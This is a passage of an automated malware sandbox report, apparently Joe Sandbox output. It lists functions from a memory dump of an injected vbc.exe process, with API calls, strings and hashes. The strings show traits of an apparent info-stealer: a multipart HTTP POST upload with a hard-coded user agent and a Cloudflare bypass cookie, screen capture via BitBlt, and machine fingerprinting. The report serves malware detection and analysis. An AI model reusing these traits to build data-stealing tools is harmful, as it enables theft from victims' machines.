String ID: Content-Type: multipart/form-data; boundary=%s$Cookie: __cf_mw_byp=%hs$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36$P$POST$be85de5ipdocierre1$winhttp.dll
API String ID: 4062374510-2783096789
Opcode ID: 92fc0fd63d8a11e9568d0b73965066b83fe9a20785b12fb11cb2cbd0ad9c94da
Instruction ID: d86001e0129190114e9ac454759197ad29be2da68e482fd04e7138b543e8984c
Opcode Fuzzy Hash: 92fc0fd63d8a11e9568d0b73965066b83fe9a20785b12fb11cb2cbd0ad9c94da
Instruction Fuzzy Hash: 26D126B0904301DFD704EF69E88565EBBF4EF89300F11892EE499AB340E7759948CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00402A90 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,?), ref: 00402AB3
lstrcatW.KERNEL32(00000000,00000000), ref: 00402AC6

Part of subcall function 004536D5: _free.LIBCMT ref: 004536E8

lstrcatW.KERNEL32(00000000,?), ref: 00402AD6
lstrcatW.KERNEL32(00000000,?), ref: 00402AEC
lstrcatW.KERNEL32(00000000,004660F0), ref: 00402AF4
lstrcatW.KERNEL32(00000000,?), ref: 00402AFA
lstrcatW.KERNEL32(00000000,00000000), ref: 00402B0D
lstrcatW.KERNEL32(00000000,?), ref: 00402B1D

Strings

aab58e5185f0f625cfdbfd38c5dbfd7e, xrefs: 00402AFC
45538e52191fe131243fae173d27eb3c363ae13c6500eb26313ae035360f, xrefs: 00402AB5

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: lstrcat$_free
String ID: 45538e52191fe131243fae173d27eb3c363ae13c6500eb26313ae035360f$aab58e5185f0f625cfdbfd38c5dbfd7e
API String ID: 1597172325-820533355
Opcode ID: 25b7249e3c194ccc5df65d3fc911171bdf9ecdb36876135a98bfd42b03c22735
Instruction ID: 5b41cecd2529177c69a7b5d6815aae494594ce098d1ea6add4f64316d786e4ea
Opcode Fuzzy Hash: 25b7249e3c194ccc5df65d3fc911171bdf9ecdb36876135a98bfd42b03c22735
Instruction Fuzzy Hash: D301C4B2A402043BE5116BA29C43F6F392CDF86B9DF054079FA0455183FA6BDA1542BF

Uniqueness

Uniqueness Score: -1.00%

Function 004586C0 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004586D6

Part of subcall function 004592F2: RtlFreeHeap.NTDLL(00000000,00000000,?,004536ED,?), ref: 00459308
Part of subcall function 004592F2: GetLastError.KERNEL32(?,?,004536ED,?), ref: 0045931A

_free.LIBCMT ref: 004586E2
_free.LIBCMT ref: 004586ED
_free.LIBCMT ref: 004586F8
_free.LIBCMT ref: 00458703
_free.LIBCMT ref: 0045870E
_free.LIBCMT ref: 00458719
_free.LIBCMT ref: 00458724
_free.LIBCMT ref: 0045872F
_free.LIBCMT ref: 0045873D

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6cc4a3d001802aef2f69b43831ccd493e3c57a027445065c68316d3d6bf5f441
Instruction ID: 909fccd1b02e17c2c9d50e8bec9e7a58bf48f12ccd491c6af6c05a6d82e5c4b8
Opcode Fuzzy Hash: 6cc4a3d001802aef2f69b43831ccd493e3c57a027445065c68316d3d6bf5f441
Instruction Fuzzy Hash: 89216276900118FFCB41EF99C882DDE7BB9BF09345F0045AAF9159B126DA35EA48CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0045B8BF Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0046ED28,00000010,?), ref: 0045B907
__fassign.LIBCMT ref: 0045BAEC
__fassign.LIBCMT ref: 0045BB09
WriteFile.KERNEL32(?,0045334D,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0045BB51
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0045BB91
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0045BC39

Strings

(F, xrefs: 0045B8FC
(F, xrefs: 0045BABC, 0045BABF

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID: (F$(F
API String ID: 1735259414-2407725581
Opcode ID: 4a9ad8ef4584508f65e1b7e04996ff5e9ac86e92722cad1981b49794f6d7772c
Instruction ID: 13c84f020c80aeb021e5e4932947299304f7551d592937e11f796906766d9408
Opcode Fuzzy Hash: 4a9ad8ef4584508f65e1b7e04996ff5e9ac86e92722cad1981b49794f6d7772c
Instruction Fuzzy Hash: 18C19F71D002589FCB15CFA9C8809EDBBB5EF48305F28416AE855FB342D735AE46CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040A200 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 172stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 0040A2CD
lstrcatW.KERNEL32 ref: 0040A2E5
lstrlenW.KERNEL32 ref: 0040A2F5
lstrlenW.KERNEL32 ref: 0040A329

Strings

, xrefs: 0040A442
kernel32.dll, xrefs: 0040A222
\??\, xrefs: 0040A2C0
ntdll.dll, xrefs: 0040A3EB, 0040A463

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen
String ID: $\??\$kernel32.dll$ntdll.dll
API String ID: 1475610065-3837677799
Opcode ID: 21553468eb1adf6b14f3215f71d57355ab8bf495995079b7341c515c0cf48ce8
Instruction ID: 3ac14dcbb4011b352018b463549f6b7f23009b89120af87786405f60a6104005
Opcode Fuzzy Hash: 21553468eb1adf6b14f3215f71d57355ab8bf495995079b7341c515c0cf48ce8
Instruction Fuzzy Hash: 367117B05193009FD344DF78C59575ABBE1BF84318F018A2EF5A99B3D0D7B9C9448B86

Uniqueness

Uniqueness Score: -1.00%

Function 0042DC60 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042DC91
_strlen.LIBCMT ref: 0042DCA5
_strlen.LIBCMT ref: 0042DCD3
_strlen.LIBCMT ref: 0042DCE7
_strlen.LIBCMT ref: 0042DD0F
_strlen.LIBCMT ref: 0042DD23

Strings

be85de5ipdocierre1, xrefs: 0042DC6C
Content-Disposition: form-data; name=", xrefs: 0042DCB5

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: Content-Disposition: form-data; name="$be85de5ipdocierre1
API String ID: 4218353326-1518758108
Opcode ID: 93a8427f2496bfc7d98a57624f4502e1a5ea183b2df7b31c3c830e78d18af398
Instruction ID: 7f25064f402118b0d88777bd8cdfa075e19a874fd3bb4cd2f03d148e3077300b
Opcode Fuzzy Hash: 93a8427f2496bfc7d98a57624f4502e1a5ea183b2df7b31c3c830e78d18af398
Instruction Fuzzy Hash: 8E2151F69002256FE712AB15EC86E967798AF1631CF050069FD0957307F239B618C6A7

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF5 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00463114
CatchIt.LIBVCRUNTIME ref: 00463273
_UnwindNestedFrames.LIBCMT ref: 00463374
CallUnexpected.LIBVCRUNTIME ref: 0046338F

Strings

csm, xrefs: 0046309F
csm, xrefs: 0046314B
csm, xrefs: 00463032

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: CallCatchFramesNestedUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2332921423-393685449
Opcode ID: b30946a69911e8fadd1a774d9b8a149072ceb5c8761d48c8bdc30c28ca1e1db6
Instruction ID: b51839f7e4a8bdefad968f9f4a9104333266fae68d6cb54b5d5141bd3acecf9e
Opcode Fuzzy Hash: b30946a69911e8fadd1a774d9b8a149072ceb5c8761d48c8bdc30c28ca1e1db6
Instruction Fuzzy Hash: 65B17971800289EFCF14DFA5C8819AEBBB5FF04316B14416BE8116B312E739DA55CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE70 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 262stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A6D0: lstrcatW.KERNEL32 ref: 0040A7A9
Part of subcall function 0040A6D0: lstrcatW.KERNEL32 ref: 0040A7C1
Part of subcall function 0040A6D0: lstrlenW.KERNEL32 ref: 0040A7D1
Part of subcall function 0040A6D0: lstrlenW.KERNEL32 ref: 0040A7EB

lstrcatW.KERNEL32 ref: 0040B011
lstrcatW.KERNEL32 ref: 0040B02B
lstrcatW.KERNEL32 ref: 0040B043

Part of subcall function 004536D5: _free.LIBCMT ref: 004536E8

Strings

kernel32.dll, xrefs: 0040AEB2

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$_free
String ID: kernel32.dll
API String ID: 267522910-1793498882
Opcode ID: fa7fb9daa6bfee7fc0bd22dcbc54cfdde76f74d998540889dbb903edf3cd72e5
Instruction ID: 3b7baa7e99fd23d7f610b94866881f3ea2191ffeef54eb6586dfafe7cd2ec25e
Opcode Fuzzy Hash: fa7fb9daa6bfee7fc0bd22dcbc54cfdde76f74d998540889dbb903edf3cd72e5
Instruction Fuzzy Hash: 5DC1BCB4508341DFC314EF29D194A2EBBE0FB88354F10892EF9D997390D77899498B8B

Uniqueness

Uniqueness Score: -1.00%

Function 004430E0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32 ref: 0044312A
GetVolumeInformationW.KERNEL32 ref: 004431C0
wsprintfW.USER32 ref: 00443286

Strings

:, xrefs: 00443162
l2%08x%08x%04x%xu, xrefs: 00443269
\, xrefs: 00443169
C, xrefs: 0044314C

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: :$C$\$l2%08x%08x%04x%xu
API String ID: 3001812590-1811320126
Opcode ID: 9817c21724c587b0afa209d2e1db3b5fcceef715b96ef7a25158552d04fe4dbd
Instruction ID: 28dbd692d3cc47102d582ee7f73f727626154390e12d423dcd39408953e7ff68
Opcode Fuzzy Hash: 9817c21724c587b0afa209d2e1db3b5fcceef715b96ef7a25158552d04fe4dbd
Instruction Fuzzy Hash: 1141D1744093409BE304DF65C09875EBBE0FF88B09F108A2EE4C997250E779C649CB8B

Uniqueness

Uniqueness Score: -1.00%

Function 0045D728 Relevance: 12.2, APIs: 8, Instructions: 213COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0045D840

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a88a7d581573314a1c5fa15235d17197f18a53c0162a7a8b7a438f538df23818
Instruction ID: 90855c7258e63ef56c13327c589722816f589866683169620cc1ae4934025ad7
Opcode Fuzzy Hash: a88a7d581573314a1c5fa15235d17197f18a53c0162a7a8b7a438f538df23818
Instruction Fuzzy Hash: F66101B1D00201ABCB34AFA9888266A77A4AF05316F10456FFD1597387EB789908CB8D

Uniqueness

Uniqueness Score: -1.00%

Function 00446400 Relevance: 12.1, APIs: 8, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,?), ref: 00446426
lstrcatW.KERNEL32(00000000,0046613A), ref: 0044642E
lstrcatW.KERNEL32(00000000,?), ref: 00446435
lstrcatW.KERNEL32(00000000,?), ref: 00446458
lstrcatW.KERNEL32(00000000,004660F0), ref: 00446460
lstrcatW.KERNEL32(00000000,?), ref: 00446466
lstrcatW.KERNEL32(00000000,004660F0), ref: 0044646E
lstrcatW.KERNEL32(00000000,?), ref: 00446475

Part of subcall function 004536D5: _free.LIBCMT ref: 004536E8

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: lstrcat$_free
String ID:
API String ID: 1597172325-0
Opcode ID: bdbbac34d1c27006ee6eab2a28b2d5db4bed12024a6530b6d6fd6ca543295c7e
Instruction ID: fecc360b6c08f92aeef139d892da1f2261ec7a0f79b659c48fd1576fe9cd5c26
Opcode Fuzzy Hash: bdbbac34d1c27006ee6eab2a28b2d5db4bed12024a6530b6d6fd6ca543295c7e
Instruction Fuzzy Hash: ED11E2B29002007BD6013B62EC43F6F7A68EF8274DF05442DFA4855182EA6FD62453AB

Uniqueness

Uniqueness Score: -1.00%

Function 004580FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 00458167
api-ms-, xrefs: 00458153

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 3c686fdfcacc6ca3d632773b664e78a45cd3eb6b433fcfd89e6658f424fc9576
Instruction ID: c013d61fe45823e3891acd8a46f3d78bc3cb1e701de058368800b748dcfb0377
Opcode Fuzzy Hash: 3c686fdfcacc6ca3d632773b664e78a45cd3eb6b433fcfd89e6658f424fc9576
Instruction Fuzzy Hash: 39210E31A01A10ABD7314B25CC45A6B37585F417A2F15022AEC05B7382EF78DD07C7EA

Uniqueness

Uniqueness Score: -1.00%

Function 0045C1EC Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045C2D0: _free.LIBCMT ref: 0045C2F5

_free.LIBCMT ref: 0045C23A

Part of subcall function 004592F2: RtlFreeHeap.NTDLL(00000000,00000000,?,004536ED,?), ref: 00459308
Part of subcall function 004592F2: GetLastError.KERNEL32(?,?,004536ED,?), ref: 0045931A

_free.LIBCMT ref: 0045C245
_free.LIBCMT ref: 0045C250
_free.LIBCMT ref: 0045C2A4
_free.LIBCMT ref: 0045C2AF
_free.LIBCMT ref: 0045C2BA
_free.LIBCMT ref: 0045C2C5

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d164b0b78da03c00ad40bd89565399c3cde5271e9215c4906fabfbff84f000e5
Instruction ID: 9a780a9572fe4ad1dfc4ee1259cd4877ece743dacc87803e0c4d2e0a46dcee5a
Opcode Fuzzy Hash: d164b0b78da03c00ad40bd89565399c3cde5271e9215c4906fabfbff84f000e5
Instruction Fuzzy Hash: B4117531980704FAD520BBB1CC87FC7779D9F01705F804C5EFA99A60A3DA2CB909CA56

Uniqueness

Uniqueness Score: -1.00%

Function 00446D30 Relevance: 10.5, APIs: 7, Instructions: 40windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(?), ref: 00446D39
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00446D4A
SelectObject.GDI32(00000000,00000000), ref: 00446D54
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 00446D73
SelectObject.GDI32(00000000,00000000), ref: 00446D7B
DeleteDC.GDI32(00000000), ref: 00446D82
DeleteObject.GDI32(00000000), ref: 00446D89

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: Object$CompatibleCreateDeleteSelect$Bitmap
String ID:
API String ID: 1142853709-0
Opcode ID: ae572cf5a0ae35cec1e2bae0cdac9ffcd52373e510ad861f55c1d0c4f2eebf46
Instruction ID: fe21a4b2581e19e44fbed69c96cc8727b041a43c0fa0d3e74c9f1ccaa1ae0c73
Opcode Fuzzy Hash: ae572cf5a0ae35cec1e2bae0cdac9ffcd52373e510ad861f55c1d0c4f2eebf46
Instruction Fuzzy Hash: 39F0303A201314BFE3111BA2EC08F6F7AECEB8D755F140428FE4592251E6B569428F6B

Uniqueness

Uniqueness Score: -1.00%

Function 00452819 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 004529AC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004529C8
__allrem.LIBCMT ref: 004529DF
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004529FD
__allrem.LIBCMT ref: 00452A14
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00452A32

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: f01d19ea84957fe75c78861afd125ca81d4ecfbc102e4ab917c9034433d19e5f
Instruction ID: 4eada4e37829d0d11d051d91a5b5b0b0118865e3e2cbcfacfd962258fbb19030
Opcode Fuzzy Hash: f01d19ea84957fe75c78861afd125ca81d4ecfbc102e4ab917c9034433d19e5f
Instruction Fuzzy Hash: 2181C571A00706ABD724AE69CD42B5B73A9AF46326F14462FFC11D7383E7B8DD088758

Uniqueness

Uniqueness Score: -1.00%

Function 0045799B Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00457992,0044C341,0044BEA1), ref: 004579A9
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 004579B7
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004579D0
SetLastError.KERNEL32(00000000,00457992,0044C341,0044BEA1), ref: 00457A22

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d357bcbfdc7988c29a800134af1c5ca4a37310ae4341069e69889bfa9e1873fc
Instruction ID: f361662ed9f4dedd8724d749a46271a23bc3a35071b960159991e5148529a01e
Opcode Fuzzy Hash: d357bcbfdc7988c29a800134af1c5ca4a37310ae4341069e69889bfa9e1873fc
Instruction Fuzzy Hash: 51012D7220D7216EE6142ABA7C8645F6645C70137B320023FFD14812F3EF190D4DA15D

Uniqueness

Uniqueness Score: -1.00%

Function 00451538 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,004515C2,?,?,00451662,?,?,&7E), ref: 0045154D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00451560
FreeLibrary.KERNEL32(00000000,?,?,004515C2,?,?,00451662,?,?,&7E), ref: 00451583

Strings

CorExitProcess, xrefs: 00451558
mscoree.dll, xrefs: 00451546

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6fd68901d4acfd24ddef389290077d55469c5946600a8a4948876d5f4ae5159c
Instruction ID: ebe76605780ada1e792c9d411d6468d167b3f6365b2cf374d8c8ae4dbc0483cb
Opcode Fuzzy Hash: 6fd68901d4acfd24ddef389290077d55469c5946600a8a4948876d5f4ae5159c
Instruction Fuzzy Hash: 93F08234900219FBDB119B51DD0AB9E7BB9EB44756F104066F802A1161FFB49F04DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0045C183 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0045C19B

Part of subcall function 004592F2: RtlFreeHeap.NTDLL(00000000,00000000,?,004536ED,?), ref: 00459308
Part of subcall function 004592F2: GetLastError.KERNEL32(?,?,004536ED,?), ref: 0045931A

_free.LIBCMT ref: 0045C1AD
_free.LIBCMT ref: 0045C1BF
_free.LIBCMT ref: 0045C1D1
_free.LIBCMT ref: 0045C1E3

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1d16fa3273fe621b6b174878002980a90f728be1a125cb8637db5b680b136f14
Instruction ID: 58e886bf73f41a4afdaaa6fa38e85dcd7a16c0ea873514caf996097bb1e5b0f8
Opcode Fuzzy Hash: 1d16fa3273fe621b6b174878002980a90f728be1a125cb8637db5b680b136f14
Instruction Fuzzy Hash: 1BF03132500610EBC510DB5DF8C6C2673D9AA44356B548C8BF808D7A17CF28FC948EAC

Uniqueness

Uniqueness Score: -1.00%

Function 0045B674 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045B8BF: GetConsoleOutputCP.KERNEL32(0046ED28,00000010,?), ref: 0045B907

WriteFile.KERNEL32(?,0046ED28,00000000,00000010,00000000,?,00000010,00000010,0045334D,00000010,?,00000000,?,004532E5,00000000,0046ED28), ref: 0045B7BA
GetLastError.KERNEL32(?,00000010,00000010,0045334D,00000010,?,00000000,?,004532E5,00000000,0046ED28,00000010), ref: 0045B7C4
__dosmaperr.LIBCMT ref: 0045B803

Strings

2E, xrefs: 0045B842

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite__dosmaperr
String ID: 2E
API String ID: 910155933-267875826
Opcode ID: 4cc971895987ac8f5542dfdb0dad8073af2b9e1f55e984bdf0d5f056dec2b6b3
Instruction ID: 7335125aa1830741211842a69f5411e1b7ff65719c93a7e0a5b6274b44ad06a2
Opcode Fuzzy Hash: 4cc971895987ac8f5542dfdb0dad8073af2b9e1f55e984bdf0d5f056dec2b6b3
Instruction Fuzzy Hash: 2451D575900109AFDB11AFA5C845BEFBBB9EF8931AF14005BFC00A7253D378D94987A9

Uniqueness

Uniqueness Score: -1.00%

Function 00451B86 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe, xrefs: 00451C1E, 00451C25, 00451C59

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
API String ID: 0-50795131
Opcode ID: 68b97d560d0c0099100ea2ef9a5530ae0c76d00649ea81b95569488028cf80bf
Instruction ID: ad9dc65f0d5f5890e9b6fe461443d40b7fa7e25579d9f31467dec0b230da5830
Opcode Fuzzy Hash: 68b97d560d0c0099100ea2ef9a5530ae0c76d00649ea81b95569488028cf80bf
Instruction Fuzzy Hash: A441BA71E40214AFD712DF9A9881E9FBBB8EB85312B50406BEC04D7322D7B59E49C798

Uniqueness

Uniqueness Score: -1.00%

Function 0046341A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00463320,?,?,00000000,00000000,00000000,?), ref: 0046343F
CatchIt.LIBVCRUNTIME ref: 00463525

Strings

MOC, xrefs: 00463451
RCC, xrefs: 00463459

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: b9294eefec001a00cc42ce568dbec0af9f2aec89857bc8bf4c58b643a402c4d2
Instruction ID: 8f39dd5805d372c0756ed78ffd56aefaa3d4c6d8843bb0330a1e0a875baca37d
Opcode Fuzzy Hash: b9294eefec001a00cc42ce568dbec0af9f2aec89857bc8bf4c58b643a402c4d2
Instruction Fuzzy Hash: 5941AD71900248AFDF16CF94CC81AEEBBB5FF08305F14805AF90567212E339DA50CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0045F6D1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,0045F76D,00000000,00000000,00000000,?,?,?,0045F5B5,00000000,FlsAlloc,0046B05C,0046B064), ref: 0045F6DE
GetLastError.KERNEL32(?,0045F76D,00000000,00000000,00000000,?,?,?,0045F5B5,00000000,FlsAlloc,0046B05C,0046B064,00000000,?,00457949), ref: 0045F6E8
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,004014D3), ref: 0045F710

Strings

api-ms-, xrefs: 0045F6F5

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: da2ff945eb368bdb4be0276a4aad53e07162c4de968f51b1146ade01cbcc2935
Instruction ID: 4a9a25279096c016f1891b1392b85375693d65e1bbe9ab004ab8ff3396b9f402
Opcode Fuzzy Hash: da2ff945eb368bdb4be0276a4aad53e07162c4de968f51b1146ade01cbcc2935
Instruction Fuzzy Hash: EBE01230280204B7EF101B61EC46F5A3B99AB14B46F204471FD0CA81E2F7A5995D899F

Uniqueness

Uniqueness Score: -1.00%

Function 0045AC4B Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0045ACD5

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: da8b4137d4e6c41080623bc37f553e3f16b8d3f5a0d050addf887004827dee20
Instruction ID: 221227bcb0ea2c616cc2c0b3c026aac890d3507a22b41ffde68fa84ee63dc4ea
Opcode Fuzzy Hash: da8b4137d4e6c41080623bc37f553e3f16b8d3f5a0d050addf887004827dee20
